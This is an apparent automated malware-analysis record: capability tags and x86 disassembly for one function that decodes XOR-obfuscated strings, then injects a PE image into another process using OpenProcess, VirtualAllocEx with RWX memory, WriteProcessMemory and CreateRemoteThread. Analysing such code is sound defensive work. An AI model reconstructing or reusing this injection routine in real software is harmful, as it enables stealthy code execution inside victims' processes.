Function at 0x42fc10
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4337c1
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x198
mov eax, dword [0x43c040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x1a4], edi
mov dword [ebp - 4], 0
mov eax, dword [0x43c0a0]
cmp dword [eax], 0xffffffff
je 0x42fc74
cmp byte [eax + 4], 0
je 0x42fc74
mov al, 1
jmp 0x42fc76
xor al, al
test al, al
jne 0x42fcd8
movaps xmm0, xmmword [0x438d40]
xor ecx, ecx
movups xmmword [ebp - 0x18c], xmm0
mov word [ebp - 0x16c], 0x100
movaps xmm0, xmmword [0x438d00]
movups xmmword [ebp - 0x17c], xmm0
mov al, cl
add al, 0x2f
xor byte [ebp + ecx - 0x18c], al
inc ecx
cmp ecx, 0x20
jb 0x42fca1
lea eax, [ebp - 0x18c]
mov byte [ebp - 0x16b], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
mov esi, 3
jmp 0x430513
sub esp, 0x18
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.00430570
call fcn.0042f9f0
mov esi, eax
add esp, 0x18
mov dword [ebp - 0x1a0], esi
cmp esi, 1
jae 0x42fd77
movaps xmm0, xmmword [0x438c90]
xor ecx, ecx
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x174], 0x6c732c57
mov dword [ebp - 0x170], 0x4c203c26
mov word [ebp - 0x16c], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x2f
xor byte [ebp + ecx - 0x184], al
inc ecx
cmp ecx, 0x18
jb 0x42fd30
lea eax, [ebp - 0x184]
mov byte [ebp - 0x16b], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
sub esp, 0x10
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.00430570
call fcn.0042f9f0
add esp, 0x18
xor esi, esi
jmp 0x430513
cmp dword [edi + 4], esi
je 0x42fdde
movaps xmm0, xmmword [0x438d10]
xor ecx, ecx
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0x2664605a
mov word [ebp - 0x154], 0x49
mov byte [ebp - 0x152], 1
nop word [eax + eax]
mov al, cl
add al, 0x2f
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 0x15
jb 0x42fdb0
push esi
lea eax, [ebp - 0x168]
mov byte [ebp - 0x152], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 0xc
mov dword [edi + 4], esi
cmp dword [edi + 8], esi
jne 0x42fe47
movaps xmm0, xmmword [0x438dc0]
xor ecx, ecx
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0xababb9af
mov word [ebp - 0x154], 0x100
nop dword [eax]
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 0x14
jb 0x42fe10
lea eax, [ebp - 0x168]
mov byte [ebp - 0x153], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
mov esi, 4
jmp 0x430513
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x43c738]
cmp eax, dword [ecx + 4]
jle 0x42fe93
push 0x43c738
call fcn.0043239b
add esp, 4
cmp dword [0x43c738], 0xffffffff
jne 0x42fe93
push 0x433910
mov byte [0x43c734], 0
call fcn.004322fb
add esp, 4
push 0x43c738
call fcn.0043234a
add esp, 4
push esi
mov ecx, 0x43c734
call fcn.00431e50
test al, al
jne 0x42ff07
cmp byte [edi], al
je 0x42ff07
movaps xmm0, xmmword [0x438d20]
xor ecx, ecx
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0x3034235a
mov word [ebp - 0x154], 0x26
mov byte [ebp - 0x152], 1
mov al, cl
add al, 0x2f
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 0x15
jb 0x42fed0
lea eax, [ebp - 0x168]
mov byte [ebp - 0x152], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
mov esi, 2
jmp 0x430513
mov ecx, dword [0x43c0a0]
call fcn.004018a0
mov edi, eax
mov dword [ebp - 0x160], 0xfaf2f4fa
xor ecx, ecx
mov dword [ebp - 0x194], edi
test edi, edi
jne 0x430067
mov esi, dword [0x43c0a0]
mov dword [ebp - 0x15c], 0x8a83879f
mov dword [ebp - 0x158], 0x828088
mov byte [ebp - 0x154], 1
nop
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x160], al
inc ecx
cmp ecx, 0xb
jb 0x42ff50
xorps xmm0, xmm0
mov byte [ebp - 0x154], 0
lea edx, [ebp - 0x160]
mov dword [ebp - 0x174], 0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x170], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x42ff90
sub edx, ecx
lea eax, [ebp - 0x160]
push edx
push eax
lea ecx, [ebp - 0x184]
call fcn.00401ce0
lea eax, [ebp - 0x184]
mov byte [ebp - 4], 1
push eax
mov ecx, esi
call fcn.004017e0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x170]
cmp ecx, 0xf
jbe 0x42fffe
mov edx, dword [ebp - 0x184]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42fff4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42fff4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432310
add esp, 8
movaps xmm0, xmmword [0x438df0]
xor ecx, ecx
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x174], 0xefa9a3a5
mov dword [ebp - 0x170], 0xbebdb4
mov byte [ebp - 0x16c], 1
nop dword [eax]
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x184], al
inc ecx
cmp ecx, 0x17
jb 0x430030
lea eax, [ebp - 0x184]
mov byte [ebp - 0x16c], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
mov esi, 1
jmp 0x430513
mov eax, dword [0x43c0a0]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x15c], 0x8087939f
mov dword [ebp - 0x158], 0x82908c81
mov word [ebp - 0x154], 0x8c
mov byte [ebp - 0x152], 1
nop word [eax + eax]
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x160], al
inc ecx
cmp ecx, 0xd
jb 0x4300a0
xorps xmm0, xmm0
mov byte [ebp - 0x152], 0
lea edx, [ebp - 0x160]
mov dword [ebp - 0x174], 0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x170], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4300e0
sub edx, ecx
lea eax, [ebp - 0x160]
push edx
push eax
lea ecx, [ebp - 0x184]
call fcn.00401ce0
mov ecx, dword [ebp - 0x198]
lea eax, [ebp - 0x184]
push eax
mov byte [ebp - 4], 2
call fcn.004017e0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x170]
cmp ecx, 0xf
jbe 0x430152
mov edx, dword [ebp - 0x184]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430148
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x430148
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432310
add esp, 8
mov eax, dword [0x43c0a0]
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x43016f
push ecx
mov byte [eax + 4], 0
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edi, dword [edi + 0x3c]
add edi, dword [ebp - 0x194]
push esi
push 0
push 0x1fffff
mov dword [ebp - 0x19c], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xorps xmm0, xmm0
mov dword [ebp - 0x128], 0
mov esi, eax
mov dword [ebp - 0x124], 0xf
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x190], esi
mov byte [ebp - 0x138], 0
push 0x104
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 3
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4301e0
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x138]
call fcn.00430670
cmp dword [ebp - 0x124], 0xf
lea edx, [ebp - 0x138]
mov eax, dword [ebp - 0x128]
cmova edx, dword [ebp - 0x138]
test eax, eax
je 0x43023e
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x5c
je 0x43023a
nop word [eax + eax]
cmp ecx, edx
je 0x43023e
dec ecx
cmp byte [ecx], 0x5c
jne 0x430230
sub ecx, edx
jmp 0x430241
or ecx, 0xffffffff
cmp dword [ebp - 0x128], ecx
lea eax, [ebp - 0x138]
xorps xmm0, xmm0
mov dword [ebp - 0x174], 0
cmovb ecx, dword [ebp - 0x128]
cmp dword [ebp - 0x124], 0xf
push ecx
cmova eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x184]
push eax
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x170], 0
call fcn.00401ce0
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x4302c7
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4302bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x430539
push ecx
push edx
call fcn.00432310
add esp, 8
movups xmm0, xmmword [ebp - 0x184]
push 0x40
push 0x3000
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [ebp - 0x174]
movq qword [ebp - 0x128], xmm0
push dword [edi + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [edi + 0x54]
mov dword [ebp - 0x198], eax
push dword [ebp - 0x194]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x19c]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x43036c
add esi, 0x10c
nop word [eax + eax]
mov eax, dword [esi]
add eax, dword [ebp - 0x194]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x198]
push eax
push dword [ebp - 0x190]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x19c]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x430330
mov esi, dword [ebp - 0x19c]
push 0x40
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x190]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x194]
mov edi, eax
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x150], eax
push 0
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x14c], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x148], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x140], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x150]
push eax
push edi
push dword [ebp - 0x190]
mov dword [ebp - 0x144], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.0042f9e0
lea esi, [edi + 0x18]
sub eax, 0x42f8d0
push eax
push 0x42f8d0
push esi
push dword [ebp - 0x190]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
mov esi, dword [ebp - 0x190]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a0]
movaps xmm0, xmmword [0x438d50]
movups xmmword [ebp - 0x188], xmm0
mov dword [ecx + 8], eax
xor ecx, ecx
mov dword [ebp - 0x178], 0x3132255c
mov dword [ebp - 0x174], 0x2a293125
mov word [ebp - 0x170], 0x3e
mov byte [ebp - 0x16e], 1
nop dword [eax + eax]
mov al, cl
add al, 0x2f
xor byte [ebp + ecx - 0x188], al
inc ecx
cmp ecx, 0x19
jb 0x430490
lea eax, [ebp - 0x188]
mov byte [ebp - 0x16e], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
mov ecx, dword [ebp - 0x124]
add esp, 8
mov esi, 4
cmp ecx, 0xf
jbe 0x4304f8
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4304ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x430539
push ecx
push edx
call fcn.00432310
add esp, 8
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0xf
jbe 0x430549
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43053f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43053f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432310
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0043207c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x18